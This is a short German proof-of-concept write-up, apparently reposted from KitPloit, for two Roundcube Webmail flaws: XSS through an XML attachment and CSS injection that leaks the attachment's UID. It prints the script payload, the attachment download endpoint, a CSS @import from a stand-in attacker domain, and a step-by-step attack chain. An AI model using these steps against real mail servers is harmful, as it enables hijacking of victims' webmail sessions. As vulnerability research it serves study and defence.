Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC

Proof of Concept: CVE-2024-42008 und CVE-2024-42010

Dieses Proof of Concept (PoC) demonstriert die Ausnutzung zweier Schwachstellen in Roundcube Webmail, die CSS-Injection und Cross-Site-Scripting (XSS) ermöglichen. Der Angriff besteht aus zwei Phasen:

1. XSS über bösartigen XML-Anhang (CVE-2024-42008)

   Aufgrund unzureichender Prüfungen beim Datei-Upload kann eine XML-Datei mit JavaScript-Code als Anhang gesendet werden, z. B.:

   root@kitploit:~

   <something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
   	alert(origin)
   </something:script>
   

   Dies war ein bekanntes Problem, das als CVE-2020-13965 erfasst wurde. Die Gegenmaßnahme bestand darin, die Option „Anhang öffnen“ zu deaktivieren. Die Datei kann jedoch weiterhin über den Endpunkt abgerufen werden:

   root@kitploit:~

   https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
   

   UID ist dabei der eindeutige Bezeichner für diesen bestimmten Anhang in diesem bestimmten Postfach (d. h. INBOX).

2. HTML-Exfiltration über CSS-Injection (CVE-2024-42010)

   Beim Senden einer E-Mail ist es möglich, eine eigene CSS-Datei einzuschleusen, wenn diese auf einer Domain gehostet wird, die mit a beginnt. Über diese und eine JavaScript-Serverdatei, die die vom verwundbaren Roundcube-Host gestellten Anfragen verarbeitet, ist es möglich, die UID des bösartigen XSS-Anhangs zu extrahieren.

   Importieren Sie das CSS in einer gesendeten E-Mail mit:

   root@kitploit:~

   <style>
   	@import "//a.attackerdomain.com/start?"
   </style>
   

   Hosten Sie den JS-Server (roundcube-css-exploit.js), der die UID des bösartigen Anhangs exfiltriert

Angriffskette

1. Hosten Sie auf Ihrer Domain den JavaScript-Server
2. Senden Sie eine E-Mail mit einem bösartigen XML-Anhang und importieren Sie das CSS von Ihrer Domain
3. Das Opfer öffnet die E-Mail und die UID wird exfiltriert
4. Anschließend können Sie, je nach bevorzugter Methode der XSS-Zustellung, entweder eine zweite E-Mail mit dem Anhang-Link senden oder den Benutzer darüber umleiten.

Quelle: Regierungs-E-Mails in Gefahr: Kritische Cross-Site-Scripting-Schwachstelle in Roundcube Webmail (Vulnerability Research Team von Sonar)